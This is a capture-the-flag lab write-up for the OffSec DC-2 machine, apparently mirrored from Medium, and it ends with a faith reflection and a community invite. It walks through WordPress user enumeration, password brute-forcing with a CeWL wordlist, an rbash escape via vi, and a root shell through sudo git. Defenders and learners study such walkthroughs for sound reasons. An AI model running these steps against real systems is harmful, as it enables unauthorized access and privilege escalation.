> For the complete documentation index, see [llms.txt](https://k70n0s510.gitbook.io/k70n0s510-docs/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://k70n0s510.gitbook.io/k70n0s510-docs/platforms/dc-2.md).
# DC-2
From DNS misdirections to restricted environments, we analyze the path to root. 100% completion rooted in precision and faith. 🎯🙏
***
### 🎯Unearthing the Truth in DC-2 | Breaking Barriers & Restricted Shells 🛡️
#### From DNS misdirections to restricted environments, we analyze the path to root. 100% completion rooted in precision and faith. 🎯🙏
**Target:** *DC-2 (192.168.211.194) \[PG OffSec]* **OS:** *Linux (Debian)* **Difficulty:** *Easy/Intermediate* **Attack Vectors:** *DNS Mapping -> WordPress Enumeration (CeWL) -> RBASH Escape (`vi`) -> Sudo Abuse (`git`)*
> [**Not a Member?? Click Here to Read the Full-Story**](https://medium.com/the-first-digit/unearthing-the-truth-in-dc-2-breaking-barriers-restricted-shells-%EF%B8%8F-71e3969cc096?sk=dcb84ef9cf9e98e7542bca6aae8f7b0b)
### Executive Summary
**Assessment Date**: *January 23, 2026* **Risk Level:** *CRITICAL* **Author:** *R00t3dbyFa17h\Nicholas Mullenski*
#### Overview
An initial assessment of the “DC-2” server has identified a web server configuration intended to obscure access via DNS redirection. The host, running on a Linux Debian environment, exposes an Apache web server on Port 80 but restricts direct IP access, forcing a redirection to the hostname dc-2. This indicates a need for local DNS mapping to proceed with further enumeration.
#### Key Findings (Preliminary):
* DNS Redirection: The web server is configured to redirect all traffic to . Without modification to the attacker’s local /etc/hosts file, the attack surface remains inaccessible.
* Web Server Version: The target is running Apache httpd 2.4.10, a version that will require further scrutiny for misconfigurations once the application layer is accessible.
**Strategic Recommendation (Phase 1):** Immediate modification of the local host file is required to map the target IP to the dc-2 hostname. Once accessible, a full web application vulnerability scan (CMS identification, user enumeration) must be conducted.
K70n0s510=OffSec handle..
> I’m climbing the leaderboard, 📈 one root at a time! 🛡️ With 11 hosts down and roughly 250+ more on the roadmap, the journey is just beginning.
> Iron sharpens iron — I’m actively looking for dedicated partners to tackle these labs with. If you’re looking for a teammate to grind through machines, share knowledge, and sharpen skills, let’s connect. Drop a comment or send me a DM. Let’s get to work! 🤝💻
### 1.0 Initial Foothold
#### 1.1 Enumeration & Reconnaissance
* The objective of this phase was to identify the attack surface of the target machine and pinpoint specific service versions that may contain known vulnerabilities.
**1.1.1 Nmap Scan** full service and script scan was performed to identify open ports and the software versions running on them.
```
nmap -sCV -vvv -Pn 192.168.211.194
PORT STATE SERVICE REASON VERSION
80/tcp open http syn-ack ttl 61 Apache httpd 2.4.10 ((Debian))
|_http-server-header: Apache/2.4.10 (Debian)
|_http-title: Did not follow redirect to http://dc-2/
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
```
**Results:** The scan identified Port 80 as open but returned a redirect error in the script output, confirming the need for hostname resolution.
* **Port 80 (HTTP):** Apache httpd 2.4.10 (Debian)
* **Observation:** **`http-title: Did not follow redirect to http://dc-2/`**
* **Action Required:** Add **`192.168.211.194 dc-2`** to **`/etc/hosts`**.
#### 1.1.2 Directory Enumeration
* Following the DNS configuration, a directory brute-force scan was initiated to map the application structure and identify the Content Management System (CMS).
Command: **`gobuster dir -u`** [**`http://dc-2`**](http://dc-2) **`-w /usr/share/wordlists/dirb/common.txt`**
**Key Findings:** The scan returned HTTP 301 redirects for several standard WordPress directories, confirming the CMS in use.
**Analysis:** The presence of standard WordPress directories confirms that [**HTTP://dc-2**](http://HTTP://dc-2) is powered by WordPress. Additionally, the discovery of **/xmlrpc.php** (returning a 405 Method Not Allowed) suggests a potential secondary attack vector if standard login brute-forcing fails, though xmlrpc attacks are often noisier. The primary focus shifts to enumerating users and identifying vulnerable plugins.
#### 1.1.3 User Enumeration
* Using WPScan, I enumerated the valid users on the WordPress instance to identify potential targets for a brute-force attack.
**Command**:
```
wpscan --url http://dc-2 --enumerate u
```
**Key Findings:** The scan identified three valid users via the WP JSON API and Author ID brute forcing:
* **admin**
* **jerry**
* **tom**
Additionally, the scan revealed that the site is running **WordPress 4.7.10** (an outdated version) and has **XML-RPC enabled**, which could serve as an alternative attack vector for brute-forcing if the login page is rate-limited.
#### 1.2 Custom Dictionary Generation
**1.2.1** During the web enumeration, a clue on the “Flag 1” page suggested that standard wordlists would be ineffective (**`"your usual wordlists won't work"`**). This indicated that valid passwords were likely derived from the website's content.
**1.2.2** To address this, I utilized **CeWL** (Custom Word List generator) to spider the site and extract unique words into a targeted dictionary file.
**Command:**
```
cewl http://dc-2 -w dc2-dict.txt
```
#### 1.3 Credential Harvesting
**1.3.1** With the custom wordlist prepared, I launched a targeted password brute-force attack against the identified users (`admin`, `jerry`, `tom`) using **WPScan**.
**Command:**
```
wpscan --url http://dc-2 -U admin,jerry,tom -P dc2-dict.txt
```
**Key Findings:** The attack successfully compromised two accounts:
* **jerry**: **`aXXXXXXXXX`**
* **tom**: **`pXXXXXXXX`**
### 2.0 Internal Compromise (SSH Access)
* An extensive port scan revealed that SSH was running on a non-standard port (**7744**). I leveraged the compromised credentials for the user **tom** to gain initial access.
**Command:**
```
ssh tom@192.168.211.194 -p 7744
```
#### 2.1 Restricted Shell Escape (RBASH)
**2.1.1** Upon logging in, I discovered the environment was a Restricted Bash (rbash) shell. Standard system commands (like cat, cd, grep) were restricted or “not found.”
**2.1.2** I enumerated the allowed binaries by listing the user’s path directory: **Command:**
```
ls usr/bin
```
**Allowed Binaries:** **`less`,** **`ls`,** **`scp`,** **`vi`.**
**Exploitation:** The presence of the vi text editor presented a known breakout vulnerability. I utilized vi to spawn a fresh, unrestricted shell.
**Escape Sequence:**
1. **Launched** **`vi`**.
2\. Executed **`:set shell=/bin/sh`** inside the editor.
3\. Executed\*\* `:shell`\*\* to spawn the shell.
4\. Once out, I restored the environment path to enable standard commands:
```
export PATH=/bin:/usr/bin:$PATH
```
**Result:** Full shell access was achieved. I was then able to read local.txt to capture the user flag.
### 3.0 Privilege Escalation (Root)
#### 3.1 Sudo -l
**3.1.1** After pivoting to the user jerry, I checked for administrative privileges using the sudo -l command.
Command:
```
sudo -l
```
**3.1.2 Exploitation (GTFOBins):** I leveraged the git binary to spawn a privileged shell. By invoking the help command, git launches a pager (typically less) to display the text. This pager allows for shell command execution.
* Command: **`sudo git -p help config`**.
* Payload: Inside the pager interface, I typed **`!/bin/sh`** and pressed Enter.
**Outcome:** The pager executed the shell request with the permissions of the parent process (Root), resulting in a complete system compromise. I successfully navigated to /root and retrieved **`proof.txt`** flag.
### 4.0 Red Team Mandate & Remediation
**Assessment Summary:** The compromise of DC-2 demonstrates that “Security by Obscurity” is a failed strategy. While the administrator attempted to hide access points (moving SSH to port 7744) and restrict user movements (Restricted Bash), these measures were easily bypassed through standard enumeration and misconfiguration abuse. The most critical failure was the **Principle of Least Privilege**: allowing a restricted user access to a tool (**`vi`**) that spawns shells, and allowing an unprivileged user (**`jerry`**) to run a system binary (**`git`**) as root.
**Immediate Remediation Steps:**
1. **Patch Management:** The WordPress installation (v4.7.10) is severely outdated. Immediate updating to the latest stable version is required to mitigate known vulnerabilities.
2. **Password Policy Enforcement:** Two user passwords were cracked using words found on the company’s own public website. Implement strict password complexity requirements that reject dictionary words associated with the organization.
3. **Restricted Shell Hardening:** The current **`rbash`** configuration is ineffective.
* **Remove** **`vi`:** Text editors like **`vi`** allow for shell spawning. Replace with restricted editors (like **`rvim`**) or remove them entirely from the allowed binary list.
* **Secure Path:** Ensure the user cannot modify their own environment variables.
1. **Sudoers Misconfiguration:** The user **`jerry`** has **`NOPASSWD`** access to **`/usr/bin/git`**. This binary contains known privilege escalation vectors (GTFOBins). This entry must be removed from the **`/etc/sudoers`** file immediately.
### ✝️ The Spiritual Root
> “And I will walk at liberty: for I seek thy precepts.”\* — \****Psalm 119:45 (KJV)***
**Connection to the Tool:** In this assessment, we faced the **Restricted Shell (rbash)** — a digital prison designed to limit our movement, silence our commands, and keep us from the full power of the system. We were “locked in,” unable to see or do what we were created to do.
However, the restriction was an illusion that could not withstand knowledge. By understanding the “precepts” of the system — how `vi` handles processes and how the shell interprets commands—we broke the chains. We did not use brute force to escape the restricted shell; we used **truth**.
**The Lesson:** Spiritually, we often find ourselves in a “restricted shell” of our own — limited by fear, bound by past mistakes, or constrained by the lies the world tells us about who we are. We feel trapped, unable to move forward. But just as technical knowledge liberated us from `rbash`, seeking God's precepts liberates us from spiritual bondage. When we seek His truth, the restrictions fall away, and we are free to "walk at liberty," fully accessing the purpose and power He has designed for us.
**Rooted in Faith,** *R00t3dbyFa17h\Nicholas Mullenski.*
### 🚀 Join the Mission
I don’t want to do this alone. I want to build a community of people who are hungry to learn, build, and break things (ethically). I am constantly looking for the next challenge.
* Is there a specific tool you wish existed?
* Is there a hacking concept you want me to learn and explain?
* Do you have a “brick wall” you’re hitting in your own research?
Jump into the server, drop a message, and tell me what I should build or learn next. Let’s sharpen each other.
[**Join the Iron-Breach Discord Server!**\
*Welcome to Iron Breach. A community where iron sharpens iron. Join us for ethical hacking, CTF challenges, and…*discord.gg](https://discord.gg/FjWpMW9SUX)
By [Nicholas Mullenski](https://medium.com/@nicholasmullenski) on [January 24, 2026](https://medium.com/p/71e3969cc096).
[Canonical link](https://medium.com/@nicholasmullenski/unearthing-the-truth-in-dc-2-breaking-barriers-restricted-shells-%EF%B8%8F-71e3969cc096)
Exported from [Medium](https://medium.com) on September 1, 2026.
---
# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.
## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.
Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:
```
GET https://k70n0s510.gitbook.io/k70n0s510-docs/platforms/dc-2.md?ask=&goal=
```
`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.
Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.